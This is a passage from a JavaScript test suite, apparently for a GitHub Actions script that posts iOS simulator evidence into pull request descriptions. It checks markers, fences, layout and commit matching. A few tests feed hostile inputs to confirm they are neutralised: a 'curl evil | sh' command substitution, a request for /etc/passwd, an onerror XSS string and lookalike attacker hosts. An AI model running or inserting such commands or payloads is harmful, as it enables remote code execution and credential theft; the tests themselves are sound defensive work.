'\n\n- [x] a checklist\r\n\ttrailing\n'; + const old = blockOf(manifestFor(MEDIA, { run: 'r20261007-010101-aaaa' })); + const edit = withEvidenceBlock(`${before}${old}${after}`, 'ios', block); + assert.equal(edit.body, `${before}${block.replaceAll('\n', '\r\n')}${after}`); + assert.equal(edit.was, 'replaced'); + assert.equal(edit.body.includes('r20261007-010101-aaaa'), false); + }); + + it('keeps the block of the other platform', () => { + const android = blockOf(manifestFor(MEDIA, { platform: 'android', device: 'Pixel 9' })); + assert.equal(withEvidenceBlock(`intro\n\n${android}\n`, 'ios', block).body, `intro\n\n${android}\n\n${block}`); + }); + + it('takes a marker only when it is a whole line, so a description may quote one', () => { + const { start, end } = evidenceMarkers('ios'); + const quoting = `The block sits between \`${start}\` and \`${end}\`.\n\n ${start}\n indented, so not a marker\n ${end}\n`; + const edit = withEvidenceBlock(quoting, 'ios', block); + assert.equal(edit.was, 'added'); + assert.equal(edit.body, `${quoting}\n${block}`); + }); + + it('writes the block with the line endings of the description, added or replaced', () => { + const crlf = block.replaceAll('\n', '\r\n'); + const old = blockOf(manifestFor(MEDIA, { run: 'r20261007-010101-aaaa' })).replaceAll('\n', '\r\n'); + assert.equal(withEvidenceBlock(`intro\r\n\r\n${old}\r\noutro`, 'ios', block).body, `intro\r\n\r\n${crlf}\r\noutro`); + assert.equal(withEvidenceBlock('intro\r\n', 'ios', block).body, `intro\r\n\r\n${crlf}`); + assert.equal(withEvidenceBlock('one\r\ntwo', 'ios', block).body, `one\r\ntwo\r\n\r\n${crlf}`); + assert.equal( + withEvidenceBlock(`intro\n\n${old.replaceAll('\r\n', '\n')}\n`, 'ios', block).body, + `intro\n\n${block}\n`, + ); + for (const body of [`intro\r\n\r\n${old}\r\noutro`, 'intro\r\n']) { + assert.equal(/[^\r]\n/.test(withEvidenceBlock(body, 'ios', block).body), false, 'no bare line feed'); + } + }); + + it('refuses to replace text between two markers that is not a block it wrote', () => { + const { start, end } = evidenceMarkers('ios'); + const notes = `${start}\nIMPORTANT reviewer notes that are not evidence\n${end}\n`; + assert.deepEqual(withEvidenceBlock(notes, 'ios', block), { + ok: false, + why: 'has text between the markers that is not an evidence block', + }); + }); + + it('writes the block in place of an empty pair of markers, so a description may say where the block goes', () => { + const { start, end } = evidenceMarkers('ios'); + assert.deepEqual(withEvidenceBlock(`## Verification\n\n${start}\n\n${end}\n\n## Notes\n`, 'ios', block), { + ok: true, + body: `## Verification\n\n${block}\n\n## Notes\n`, + was: 'replaced', + old: '\n\n', + }); + assert.equal( + withEvidenceBlock(`intro\r\n${start}\r\n \t\r\n${end}\r\noutro`, 'ios', block).body, + `intro\r\n${block.replaceAll('\n', '\r\n')}\r\noutro`, + ); + assert.equal(withEvidenceBlock(`${start}\n${end}`, 'ios', block).body, block); + }); + + it('takes no marker from inside a code fence, so a description may show a whole example block', () => { + const example = blockOf(manifestFor(MEDIA, { run: 'r20261007-010101-aaaa' })); + for (const [open, close] of [ + ['```', '```'], + ['```markdown', '```'], + ['~~~~', '~~~~~'], + [' ```', '``` '], + ['```\n```not the end, it has text after the ticks', '```'], + ['```\n~~~', '```'], + ['````\n```', '````'], + ]) { + const documented = `The block looks like this:\n\n${open}\n${example}\n${close}\n`; + const added = withEvidenceBlock(documented, 'ios', block); + assert.equal(added.was, 'added', open); + assert.equal(added.body, `${documented}\n${block}`); + const replaced = withEvidenceBlock( + added.body, + 'ios', + blockOf(manifestFor(MEDIA, { run: 'r20261009-020202-bbbb' })), + ); + assert.equal(replaced.was, 'replaced', open); + assert.ok(replaced.body.startsWith(documented) && replaced.body.includes('r20261009-020202-bbbb')); + assert.equal(replaced.body.includes('r20261008-052713-253e'), false); + } + }); + + it('still takes a marker after a fence that closed, and one beside a line that only looks like a fence', () => { + const real = blockOf(manifestFor(MEDIA, { run: 'r20261007-010101-aaaa' })); + for (const before of [ + '```\ncode\n```\n\n', + 'Use ```three ticks``` inline.\n\n', + '```three ticks``` that open a line are inline code too.\n\n', + ' ```\n\n', + '``\n\n', + ]) { + const edit = withEvidenceBlock(`${before}${real}\n`, 'ios', block); + assert.equal(edit.was, 'replaced', JSON.stringify(before)); + assert.equal(edit.body, `${before}${block}\n`); + } + }); + + it('opens no fence at a fence line inside an HTML comment, so the next run finds the block it wrote', () => { + for (const hidden of [ + '\n\nintro\n', + '\r\n', + 'intro\n ').length, 2, 'one block, not two'); + assert.ok(again.body.startsWith(hidden)); + } + const fencedComment = '```\n', '', ...lines, '', ''].join('\n'); + const AFTER_ONLY = [ + '', + '| `profile` |', + '| :---: |', + `| profile |`, + '', + '| `video` |', + '| :---: |', + `| ${asset(1)} |`, + ]; + + it('adds the block after the description and attaches the files from their own directory, under names the description could not have guessed', async () => { + const env = await fetched(); + const fake = fakeGh(); + const { outcome, said } = publish(env, fake); + assert.equal(outcome, 'published'); + assert.deepEqual( + fake.state.calls.map(call => call.args.slice(0, 2).join(' ')), + [ + 'api repos/clerk/clerk-ios/pulls/669', + 'api repos/clerk/clerk-ios/pulls/669/commits?per_page=100&page=1', + 'api repos/clerk/clerk-ios/pulls/669', + 'pr edit', + 'api repos/clerk/clerk-ios/pulls/669', + 'pr edit', + ], + ); + const edit = fake.state.calls[3]; + assert.deepEqual(edit.args, [ + 'pr', + 'edit', + '669', + '--repo', + REPO, + '--body-file', + path.join(env.WORK, 'body.md'), + '--attach', + './evidence-n0nce-1.mp4', + '--attach', + './evidence-n0nce-2.png', + ]); + assert.equal(edit.cwd, path.join(env.WORK, 'files')); + assert.deepEqual(fs.readdirSync(edit.cwd).sort(), ['evidence-n0nce-1.mp4', 'evidence-n0nce-2.png']); + assert.equal(fake.state.writtenBody, `${PULL.body}\r\n${PLACED.replaceAll('\n', '\r\n')}`); + assert.ok( + PLACED.includes('![video.mp4](./evidence-n0nce-1.mp4)') && PLACED.includes('![profile](./evidence-n0nce-2.png)'), + ); + assert.deepEqual(fake.state.calls[5].args, edit.args.slice(0, 7)); + assert.equal(fake.state.calls[5].cwd, edit.cwd); + assert.equal(fake.state.laidOutBody, `${PULL.body}\r\n${laidOut(SAID, ...AFTER_ONLY).replaceAll('\n', '\r\n')}`); + assert.deepEqual(said, [ + 'notice: Put verify run r20261008-052713-253e in the description of pull request #669: 2 files.', + ]); + }); + + it('replaces the block of an earlier run and keeps the text around it', async () => { + const env = await fetched(); + const earlier = blockOf(manifestFor(MEDIA, { run: 'r20261007-010101-aaaa' })); + const fake = fakeGh({ ...PULL, body: `intro\r\n\r\n${earlier}\r\n\r\noutro` }); + assert.equal(publish(env, fake).outcome, 'published'); + assert.equal(fake.state.writtenBody, `intro\r\n\r\n${PLACED.replaceAll('\n', '\r\n')}\r\n\r\noutro`); + assert.equal( + fake.state.laidOutBody, + `intro\r\n\r\n${laidOut(SAID, ...AFTER_ONLY).replaceAll('\n', '\r\n')}\r\n\r\noutro`, + ); + }); + + it('names no file the way a description can name one, so gh rewrites no reference outside the block', async () => { + const attachedBy = async () => { + const fake = fakeGh({ + ...PULL, + body: 'Before: ![demo](./video.mp4) and [shot](./profile.png)\n\n[x]: ./video.mp4\n', + }); + publishStep({ env: await fetched(), say: () => undefined, gh: fake.gh }); + return fake.state.calls[3].args.filter((_, i, args) => args[i - 1] === '--attach'); + }; + const first = await attachedBy(); + const second = await attachedBy(); + for (const name of [...first, ...second]) { + assert.match(name, /^\.\/evidence-[0-9a-f]{16}-[12]\.(mp4|png)$/); + } + assert.notDeepEqual(first, second, 'the names differ from one publish to the next'); + }); + + it('keeps the description out of every command line, even when it holds shell and workflow syntax', async () => { + const env = await fetched(); + const hostile = '$(curl evil | sh) `id` ${{ secrets.VERIFY_EVIDENCE_TOKEN }}\n::add-mask::x\n--attach /etc/passwd'; + const fake = fakeGh({ ...PULL, body: hostile }); + const { said } = publish(env, fake); + for (const call of fake.state.calls) { + for (const arg of call.args) { + assert.equal(arg.includes('evil') || arg.includes('passwd'), false, arg); + } + } + assert.ok(fake.state.writtenBody.startsWith(`${hostile}\n\n`)); + assert.equal(said.join('\n').includes('evil'), false); + }); + + it('prints the command and runs nothing in a dry run', async () => { + const env = await fetched(); + const pullFile = path.join(path.dirname(env.WORK), 'pull.json'); + const commitsFile = path.join(path.dirname(env.WORK), 'commits.json'); + fs.writeFileSync(pullFile, JSON.stringify(PULL)); + fs.writeFileSync(commitsFile, JSON.stringify(COMMITS)); + const fake = fakeGh(); + const { outcome, said } = publish(env, fake, { dryRun: true, pullFile, commitsFile }); + assert.equal(outcome, 'dry run'); + assert.deepEqual(fake.state.calls, []); + assert.deepEqual(said, [ + `plain: would run, in ${path.join(env.WORK, 'files')}:\ngh pr edit 669 --repo clerk/clerk-ios --body-file ${path.join(env.WORK, 'body.md')} --attach ./evidence-n0nce-1.mp4 --attach ./evidence-n0nce-2.png`, + ]); + assert.equal( + fs.readFileSync(path.join(env.WORK, 'body.md'), 'utf8'), + `${PULL.body}\r\n${PLACED.replaceAll('\n', '\r\n')}`, + ); + }); + + it('reads the comparison with the base branch from a file in a dry run that names one', async () => { + const dry = async status => { + const env = { ...(await fetched()), HEAD_SHA: 'd'.repeat(40) }; + const file = name => path.join(path.dirname(env.WORK), name); + fs.writeFileSync(file('pull.json'), JSON.stringify(PULL)); + fs.writeFileSync(file('commits.json'), JSON.stringify([{ sha: COMMIT }])); + fs.writeFileSync(file('compare.json'), JSON.stringify({ status })); + const lines = []; + const files = ['--pull', file('pull.json'), '--commits', file('commits.json'), '--compare', file('compare.json')]; + assert.equal(await main(['publish', '--dry-run', ...files], env, line => lines.push(line)), 0); + return lines.map(line => line.replace(/-[0-9a-f]{16}-/g, '--').replaceAll(env.WORK, '')); + }; + assert.deepEqual(await dry('ahead'), [ + 'would run, in /files:\ngh pr edit 669 --repo clerk/clerk-ios --body-file /body.md --attach ./evidence--1.mp4 --attach ./evidence--2.png', + ]); + assert.deepEqual(await dry('diverged'), [ + '::notice title=verify-attach::Pull request #669 is not the pull request of run 37731397352 (the commit the session started on is not one of its commits or a commit of its base branch), so nothing is published.', + ]); + }); + + it('prints the usage and compares nothing when --compare names no file', async () => { + const env = await fetched(); + const file = name => path.join(path.dirname(env.WORK), name); + fs.writeFileSync(file('pull.json'), JSON.stringify(PULL)); + fs.writeFileSync(file('commits.json'), JSON.stringify(COMMITS)); + const lines = []; + const files = ['--pull', file('pull.json'), '--commits', file('commits.json'), '--compare']; + assert.equal(await main(['publish', '--dry-run', ...files], env, line => lines.push(line)), 2); + assert.deepEqual(lines, [ + 'usage: verify-attach.mjs fetch [--zip ] | publish [--dry-run] [--pull --commits [--compare ]]', + ]); + }); + + const SHOT = [['profile.png', PNG]]; + const WAS_SHOT = [['before-profile.png', WAS_PNG]]; + const CLIP = [['video.mp4', MP4]]; + const WAS_CLIP = [['before-video.mp4', WAS_MP4]]; + const published = async (media, wasMedia) => { + const manifest = manifestFor(media, wasMedia === undefined ? {} : { before: beforeFor(wasMedia) }); + const fake = fakeGh({ ...PULL, body: '' }); + const { outcome } = publish(await fetched(manifest, [...media, ...(wasMedia ?? [])]), fake); + assert.equal(outcome, 'published'); + return fake.state.pull.body; + }; + + it('lays out a still change to something that exists as before and after screenshots, side by side at a fixed width', async () => { + assert.equal( + await published(SHOT, WAS_SHOT), + laidOut( + `${SAID}${WAS}`, + '', + '| Before | After |', + '| :---: | :---: |', + `| Before: profile | After: profile |`, + ), + ); + }); + + it('lays out a still change that is new as its screenshots alone, two across under their names', async () => { + assert.equal( + await published([ + ['start.png', PNG], + ['profile.jpg', JPG], + ['security.png', PNG], + ]), + laidOut( + SAID, + '', + '| `start` | `profile` |', + '| :---: | :---: |', + `| start | profile |`, + '', + '| `security` |', + '| :---: |', + `| security |`, + ), + ); + }); + + it('lays out a change to a flow that exists as the before and after videos, side by side', async () => { + assert.equal( + await published(CLIP, WAS_CLIP), + laidOut(`${SAID}${WAS}`, '', '| Before | After |', '| :---: | :---: |', `| ${asset(2)} | ${asset(1)} |`), + ); + }); + + it('lays out a flow that is new as its video alone, in a table that keeps it from the full width', async () => { + assert.equal(await published(CLIP), laidOut(SAID, '', '| `video` |', '| :---: |', `| ${asset(1)} |`)); + }); + + it('lays out both kinds when the hand-off holds both: the screenshots first, then the video, each as it is alone', async () => { + assert.equal( + await published([...CLIP, ...SHOT], [...WAS_CLIP, ...WAS_SHOT]), + laidOut( + `${SAID}${WAS}`, + '', + '| Before | After |', + '| :---: | :---: |', + `| Before: profile | After: profile |`, + '', + '| Before | After |', + '| :---: | :---: |', + `| ${asset(3)} | ${asset(1)} |`, + ), + ); + assert.equal(await published([...CLIP, ...SHOT]), laidOut(SAID, ...AFTER_ONLY)); + }); + + const ASCII = Array.from({ length: 128 }, (_, code) => String.fromCharCode(code)); + const ADDRESS = 'https://github\\.com/user-attachments/assets/[0-9a-f-]{36}'; + const LABEL = '[A-Za-z0-9._-]+'; + const COUNTS = '\\d+ of \\d+ passed(, \\d+ flaky \\(passed only on a retry\\))?'; + const CELL = `(${ADDRESS}|((Before|After): )?${LABEL})`; + const TEMPLATE = [ + /^$/, + /^$/, + new RegExp( + `^\\*\\*Verified on an iOS simulator\\*\\*, as reported by \\[the session\\]\\(https://github\\.com/clerk/clerk-ios/actions/runs/\\d+\\) that \`[A-Za-z0-9_-]+\` started\\. Run \`r[0-9a-f-]+\` on \`[A-Za-z0-9 ._()-]+\` at \`[0-9a-f]{12}\`, ${COUNTS}\\.( The session reports the before as run \`r[0-9a-f-]+\` at \\[\`[0-9a-f]{12}\`\\]\\(https://github\\.com/clerk/clerk-ios/commit/[0-9a-f]{40}\\), ${COUNTS}\\.)?$`, + ), + new RegExp(`^\\| (Before \\| After|\`${LABEL}\`( \\| \`${LABEL}\`)?) \\|$`), + /^\| :---: (\| :---: )?\|$/, + new RegExp(`^\\| ${CELL}( \\| ${CELL})? \\|$`), + ]; + const outsideTheTemplate = body => body.split('\n').filter(line => !TEMPLATE.some(pattern => pattern.test(line))); + const publishedWith = async (manifest, media) => { + let env; + try { + env = await fetched(manifest, media); + } catch (error) { + if (error instanceof Refused) { + return null; + } + throw error; + } + const fake = fakeGh({ ...PULL, body: '' }); + assert.equal(publish(env, fake).outcome, 'published'); + return fake.state.pull.body; + }; + + it('writes nothing but its template around a file name, and takes in a name only letters, digits, a dot, an underscore and a dash', async () => { + const taken = []; + for (const char of ASCII) { + const media = [ + [`a${char}b.png`, PNG], + [`c${char}d.mp4`, MP4], + ]; + const wasMedia = media.map(([name, data]) => [`before-${name}`, data]); + const alone = await publishedWith(manifestFor(media), media); + const paired = await publishedWith(manifestFor(media, { before: beforeFor(wasMedia) }), [...media, ...wasMedia]); + assert.equal(alone === null, paired === null, JSON.stringify(char)); + if (alone !== null) { + taken.push(char); + assert.deepEqual(outsideTheTemplate(alone), [], JSON.stringify(char)); + assert.deepEqual(outsideTheTemplate(paired), [], JSON.stringify(char)); + assert.ok( + alone.includes(`| \`a${char}b\` |`) && paired.includes(`alt="Before: a${char}b">`), + JSON.stringify(char), + ); + } + } + assert.equal(taken.join(''), '-.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'); + }); + + it('writes nothing but its template around a device, and takes in a device only letters, digits, a space, a dot, an underscore, parentheses and a dash', async () => { + const taken = []; + for (const char of ASCII) { + const body = await publishedWith(manifestFor(MEDIA, { device: `a${char}b` }), MEDIA); + if (body !== null) { + taken.push(char); + assert.deepEqual(outsideTheTemplate(body), [], JSON.stringify(char)); + assert.ok(body.includes(` on \`a${char}b\` at `), JSON.stringify(char)); + } + } + assert.equal(taken.join(''), ' ()-.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'); + }); + + it('counts as outside its template a line that markup in a name or a device would make', () => { + const made = [ + '| `a|b` |', + '| a |', + '| www.evil.example |', + '| a |', + '| a |', + SAID.replace('`iPhone Air on xcode-27`', '`iPhone` [approved](https://evil.example) `Air`'), + ' text after the marker', + ]; + assert.deepEqual(outsideTheTemplate(made.join('\n')), made); + assert.deepEqual(outsideTheTemplate(laidOut(`${SAID}${WAS}`, ...AFTER_ONLY)), []); + }); + + it('attaches the files of the before run after the files of the run, under the same unguessable names, though the commit of the before run is no commit of the pull request', async () => { + const env = await fetched(WITH_BEFORE, [...MEDIA, ...WAS_MEDIA]); + const fake = fakeGh(); + const { said } = publish(env, fake); + const names = ['evidence-n0nce-1.mp4', 'evidence-n0nce-2.png', 'evidence-n0nce-3.mp4', 'evidence-n0nce-4.png']; + assert.deepEqual( + fake.state.calls[3].args.filter((_, i, args) => args[i - 1] === '--attach'), + names.map(name => `./${name}`), + ); + assert.deepEqual(fs.readdirSync(path.join(env.WORK, 'files')).sort(), names); + assert.deepEqual(fs.readFileSync(path.join(env.WORK, 'files', names[3])), WAS_PNG); + assert.ok( + fake.state.writtenBody.endsWith('![before-profile](./evidence-n0nce-4.png)\r\n\r\n'), + ); + assert.deepEqual(said, [ + 'notice: Put verify run r20261008-052713-253e in the description of pull request #669: 4 files.', + ]); + }); + + const changedBeforeTheLayout = [ + ['the block is gone from the description', state => void (state.pull.body = 'Rewritten by a reviewer.\n')], + [ + 'the block names another run', + state => void (state.pull.body = state.pull.body.replace(GOOD.run, 'r20261009-020202-bbbb')), + ], + [ + 'the block shows one address fewer', + state => void (state.pull.body = state.pull.body.replace(asset(1), 'removed')), + ], + [ + 'the block shows an address that is not an upload', + state => + void (state.pull.body = state.pull.body.replace(asset(2), 'https://example.com/x.png" onerror="alert(1)')), + ], + ...[ + ['on another host', asset(2).replace('github.com', 'evil.example')], + ['on a host that only starts like GitHub', asset(2).replace('github.com', 'github.com.evil.example')], + ['under another path of GitHub', asset(2).replace('user-attachments/assets', 'evil/user-attachments/assets')], + ['with an id one character short', asset(2).slice(0, -1)], + ['with a capital in its id', asset(2).replace('4000', 'A000')], + ].map(([how, address]) => [ + `the block shows an upload address ${how}`, + state => void (state.pull.body = state.pull.body.replace(asset(2), address)), + ]), + ['the markers are broken', state => void (state.pull.body += '\n\n')], + ['the pull request is closed', state => void (state.pull.state = 'closed')], + ]; + for (const [what, change] of changedBeforeTheLayout) { + it(`leaves the files as a list, writes nothing more and says so, when ${what} after the upload`, async () => { + const fake = fakeGh(PULL, state => void (state.reads === 3 && change(state))); + const { outcome, said } = publish(await fetched(), fake); + assert.equal(outcome, 'listed'); + assert.equal(fake.state.laidOutBody, null); + assert.equal(fake.state.calls.filter(call => call.args[0] === 'pr').length, 1); + assert.deepEqual(said, [ + 'notice: Put verify run r20261008-052713-253e in the description of pull request #669 as a list of 2 files. The pull request changed before they could be laid out. A rerun of this job uploads them again and lays them out.', + ]); + }); + } + + it('writes an upload address as its 36 characters of id and nothing that follows them', async () => { + for (const tail of ['f', '-0', '" onerror="alert(1)', '?download=1', '/../../evil', '#x']) { + const fake = fakeGh( + PULL, + state => + void (state.reads === 3 && (state.pull.body = state.pull.body.replace(asset(2), `${asset(2)}${tail}`))), + ); + assert.equal(publish(await fetched(), fake).outcome, 'published', tail); + assert.equal( + fake.state.laidOutBody, + `${PULL.body}\r\n${laidOut(SAID, ...AFTER_ONLY).replaceAll('\n', '\r\n')}`, + tail, + ); + } + }); + + it('keeps an edit that someone saves outside the block between the upload and the layout', async () => { + const fake = fakeGh( + PULL, + state => + void ( + state.reads === 3 && (state.pull.body = `Reviewed.\r\n\r\n${state.pull.body}\r\nA note under the block.`) + ), + ); + assert.equal(publish(await fetched(), fake).outcome, 'published'); + assert.equal( + fake.state.laidOutBody, + `Reviewed.\r\n\r\n${PULL.body}\r\n${laidOut(SAID, ...AFTER_ONLY).replaceAll('\n', '\r\n')}\r\nA note under the block.`, + ); + }); + + it('fails with what gh said when the write that lays the files out fails', async () => { + const env = await fetched(); + const fake = fakeGh(); + const failing = { + gh: (args, options) => + args[0] === 'pr' && !args.includes('--attach') ? { status: 1, stderr: 'HTTP 502\n' } : fake.gh(args, options), + }; + assert.throws( + () => publish(env, failing), + error => error.message === 'gh pr edit failed to lay out the files in pull request #669\ngh: HTTP 502', + ); + }); + + it('names the person the workflow says started the session, and publishes nothing under a name that is not a login', async () => { + const fake = fakeGh(); + publish({ ...(await fetched()), RUN_ACTOR: 'hubot-9[bot]' }, fake); + assert.match(fake.state.writtenBody, /\/actions\/runs\/37731397352\) that `hubot-9\[bot\]` started\. Run `/); + for (const name of [undefined, '', 'mallory` [approved](https://example.com) `', 'a\nb', 'a b']) { + const refusing = fakeGh(); + const env = { ...(await fetched()), RUN_ACTOR: name }; + assert.throws(() => publish(env, refusing), Refused, JSON.stringify(name)); + assert.deepEqual(refusing.state.calls, []); + } + }); + + const STARTED_ON = 'd'.repeat(40); + const startedEarlier = async () => ({ ...(await fetched()), HEAD_SHA: STARTED_ON }); + + it('publishes a run made at the head of the pull request when the session started on an earlier commit of it', async () => { + const fake = fakeGh(PULL, undefined, [{ sha: STARTED_ON }, { sha: 'e'.repeat(40) }, { sha: COMMIT }]); + const { outcome } = publish(await startedEarlier(), fake); + assert.equal(outcome, 'published'); + assert.ok(fake.state.writtenBody.includes('r20261008-052713-253e')); + assert.equal(fake.state.writtenBody.includes('newer commits'), false); + }); + + it('publishes a run made at an earlier commit of the pull request, and says that the pull request has newer commits', async () => { + const NEWER = 'b'.repeat(40); + const fake = fakeGh({ ...PULL, head: { ...PULL.head, sha: NEWER } }, undefined, [{ sha: COMMIT }, { sha: NEWER }]); + const { outcome } = publish(await fetched(), fake); + assert.equal(outcome, 'published'); + assert.match( + fake.state.writtenBody, + / at `0f50b597b1c2`, 3 of 3 passed\. The pull request has newer commits\.\r\n/, + ); + assert.match( + fake.state.laidOutBody, + /, 3 of 3 passed\. The pull request has newer commits\.\r\n\r\n\| `profile` \|/, + ); + }); + + it('says that the pull request has newer commits when its head moves while the evidence is being placed', async () => { + const NEWER = 'b'.repeat(40); + const fake = fakeGh( + PULL, + state => void (state.reads === 2 && ((state.pull.head.sha = NEWER), (state.pull.body = 'Edited.\n'))), + [{ sha: COMMIT }, { sha: NEWER }], + ); + assert.equal(publish(await fetched(), fake).outcome, 'published'); + assert.match( + fake.state.writtenBody, + /^Edited\.\n\n\n\n\*\*Verified on .* newer commits\.\n/, + ); + }); + + it('says that the pull request has newer commits when only its head moves between the read and the write', async () => { + const NEWER = 'b'.repeat(40); + const fake = fakeGh(PULL, state => void (state.reads === 2 && (state.pull.head.sha = NEWER)), [ + { sha: COMMIT }, + { sha: NEWER }, + ]); + assert.equal(publish(await fetched(), fake).outcome, 'published'); + assert.equal(fake.state.reads, 4); + assert.match( + fake.state.writtenBody, + / at `0f50b597b1c2`, 3 of 3 passed\. The pull request has newer commits\.\r\n/, + ); + assert.match( + fake.state.laidOutBody, + /, 3 of 3 passed\. The pull request has newer commits\.\r\n\r\n\| `profile` \|/, + ); + }); + + it('adds that the pull request has newer commits to a run it already published, and uploads nothing again', async () => { + const NEWER = 'b'.repeat(40); + const moved = { + ...PULL, + body: `intro\r\n\r\n${laidOut(SAID, ...AFTER_ONLY).replaceAll('\n', '\r\n')}\r\noutro`, + head: { ...PULL.head, sha: NEWER }, + }; + const fake = fakeGh(moved, undefined, [{ sha: COMMIT }, { sha: NEWER }]); + const { outcome, said } = publish(await fetched(), fake); + assert.equal(outcome, 'noted'); + assert.equal( + fake.state.writtenBody, + moved.body.replace('3 of 3 passed.', '3 of 3 passed. The pull request has newer commits.'), + ); + assert.equal(fake.state.calls.at(-1).args.includes('--attach'), false); + assert.deepEqual(said, [ + 'notice: Noted in the description of pull request #669 that it has newer commits than verify run r20261008-052713-253e.', + ]); + const noted = fakeGh({ ...moved, body: fake.state.writtenBody }, undefined, [{ sha: COMMIT }, { sha: NEWER }]); + assert.equal(publish(await fetched(), noted).outcome, 'already there'); + assert.equal(noted.state.writtenBody, null); + }); + + it('replaces a block that names the same verify run under another session, and adds no note to it', async () => { + const NEWER = 'b'.repeat(40); + const otherSession = evidenceBlock(GOOD, { ...SESSION, runId: '11111111111', actor: 'mallory' }).replaceAll( + './', + 'https://github.com/user-attachments/assets/', + ); + for (const head of [COMMIT, NEWER]) { + const pull = { ...PULL, body: `intro\n\n${otherSession}\n`, head: { ...PULL.head, sha: head } }; + const fake = fakeGh(pull, undefined, [{ sha: COMMIT }, { sha: NEWER }]); + const { outcome } = publish(await fetched(), fake); + assert.equal(outcome, 'published', head); + assert.equal(fake.state.writtenBody.includes('/actions/runs/11111111111)'), false, head); + assert.equal(fake.state.writtenBody.includes('mallory'), false, head); + assert.match(fake.state.writtenBody, /\/actions\/runs\/37731397352\) that `octocat` started\. Run `/, head); + assert.equal(fake.state.calls.at(-3).args.includes('--attach'), true, head); + } + }); + + it('says that GitHub lists only the first 250 commits when a longer pull request does not show the commits of the run', async () => { + const listed = Array.from({ length: 250 }, (_, i) => ({ sha: i.toString(16).padStart(40, '0') })); + const long = { ...PULL, commits: 300 }; + const fake = fakeGh(long, undefined, listed); + const { outcome, said } = publish(await fetched(), fake); + assert.equal(outcome, 'refused'); + assert.equal(fake.state.writtenBody, null); + assert.deepEqual(said, [ + 'notice: Pull request #669 has 300 commits and GitHub lists only the first 250, which do not hold the commit the session started on, so run 37731397352 cannot be checked against it and nothing is published.', + ]); + const early = fakeGh(long, undefined, [{ sha: COMMIT }, ...listed.slice(1)]); + assert.equal(publish(await fetched(), early).outcome, 'published', 'both commits are among the first 250'); + const onBase = fakeGh(long, undefined, [{ sha: COMMIT }, ...listed.slice(1)], '{"status":"ahead"}'); + assert.equal( + publish(await startedEarlier(), onBase).outcome, + 'published', + 'the run commit is among the first 250 and the base branch holds the commit the session started on', + ); + const short = fakeGh({ ...PULL, commits: 250 }, undefined, listed); + assert.match( + publish(await fetched(), short).said[0], + /is not the pull request of run 37731397352 \(the commit the session started on is not one of its commits or a commit of its base branch\)/, + ); + }); + + it('publishes nothing when the commit the verify run was made at is not a commit of the pull request', async () => { + const fake = fakeGh(PULL, undefined, [{ sha: 'e'.repeat(40) }]); + const { outcome, said } = publish(await fetched(manifestFor(MEDIA, { commit: 'c'.repeat(40) })), fake); + assert.equal(outcome, 'refused'); + assert.equal(fake.state.writtenBody, null); + assert.deepEqual(said, [ + 'notice: Pull request #669 is not the pull request of run 37731397352 (the commit the session started on is not one of its commits or a commit of its base branch), so nothing is published.', + ]); + const other = fakeGh(PULL, undefined, [{ sha: COMMIT }]); + const refused = publish(await fetched(manifestFor(MEDIA, { commit: 'c'.repeat(40) })), other); + assert.deepEqual(refused.said, [ + 'notice: Pull request #669 is not the pull request of run 37731397352 (the commit the verify run was made at is not one of its commits), so nothing is published.', + ]); + assert.equal(other.state.writtenBody, null); + }); + + const comparisons = fake => fake.state.calls.filter(call => /\/compare\//.test(call.args[1] ?? '')); + const NOT_STARTED_HERE = + 'notice: Pull request #669 is not the pull request of run 37731397352 (the commit the session started on is not one of its commits or a commit of its base branch), so nothing is published.'; + + it('publishes a run of a session that started on a commit the base branch holds, the commit the branch came from', async () => { + for (const status of ['ahead', 'identical']) { + const fake = fakeGh(PULL, undefined, [{ sha: COMMIT }], JSON.stringify({ status })); + const { outcome } = publish(await startedEarlier(), fake); + assert.equal(outcome, 'published', status); + assert.deepEqual( + comparisons(fake).map(call => call.args), + [['api', `repos/clerk/clerk-ios/compare/${STARTED_ON}...${BASE}?per_page=1`]], + status, + ); + } + const listed = fakeGh(PULL, undefined, [{ sha: STARTED_ON }, { sha: COMMIT }]); + assert.equal(publish(await startedEarlier(), listed).outcome, 'published'); + assert.deepEqual(comparisons(listed), [], 'a commit of the pull request needs no question'); + }); + + it('publishes nothing when the commit the session started on is not a commit of the pull request, and the base branch does not hold it', async () => { + const answers = ['{"status":"behind"}', '{"status":"diverged"}', '{"status":"AHEAD"}', '{}', 'null', '']; + for (const compared of answers) { + const fake = fakeGh(PULL, undefined, [{ sha: 'e'.repeat(40) }, { sha: COMMIT }], compared); + const { outcome, said } = publish(await startedEarlier(), fake); + assert.equal(outcome, 'refused', compared); + assert.equal(fake.state.writtenBody, null, compared); + assert.deepEqual(said, [NOT_STARTED_HERE], compared); + assert.equal(comparisons(fake).length, 1, compared); + } + for (const base of [ + { repo: PULL.base.repo }, + { ...PULL.base, sha: `${BASE.slice(0, 39)}?` }, + { ...PULL.base, sha: 'main' }, + ]) { + const fake = fakeGh({ ...PULL, base }, undefined, [{ sha: COMMIT }], '{"status":"ahead"}'); + assert.deepEqual(publish(await startedEarlier(), fake).said, [NOT_STARTED_HERE], JSON.stringify(base)); + assert.deepEqual(comparisons(fake), [], 'no question is asked about a base that is not a commit id'); + } + }); + + it('publishes nothing for a run made at a commit that only the base branch holds, such as a before run alone', async () => { + const fake = fakeGh(PULL, undefined, [{ sha: 'e'.repeat(40) }], '{"status":"identical"}'); + const { outcome, said } = publish(await fetched(), fake); + assert.equal(outcome, 'refused'); + assert.equal(fake.state.writtenBody, null); + assert.deepEqual(said, [ + 'notice: Pull request #669 is not the pull request of run 37731397352 (the commit the verify run was made at is not one of its commits), so nothing is published.', + ]); + }); + + const comparing = (fake, stderr) => ({ + ...fake, + gh: (args, options) => (/\/compare\//.test(args[1] ?? '') ? { status: 1, stderr } : fake.gh(args, options)), + }); + + it('publishes nothing, and does not fail, when GitHub does not find the commit the session started on', async () => { + const notFound = 'gh: Not Found (HTTP 404)\n'; + const fake = fakeGh(PULL, undefined, [{ sha: COMMIT }], '{"status":"ahead"}'); + const { outcome, said } = publish(await startedEarlier(), comparing(fake, notFound)); + assert.equal(outcome, 'refused'); + assert.equal(fake.state.writtenBody, null); + assert.deepEqual(said, [ + 'notice: Pull request #669 is not the pull request of run 37731397352 (the commit the session started on is not a commit GitHub finds in this repository), so nothing is published.', + ]); + const long = fakeGh({ ...PULL, commits: 300 }, undefined, [{ sha: COMMIT }], '{"status":"ahead"}'); + 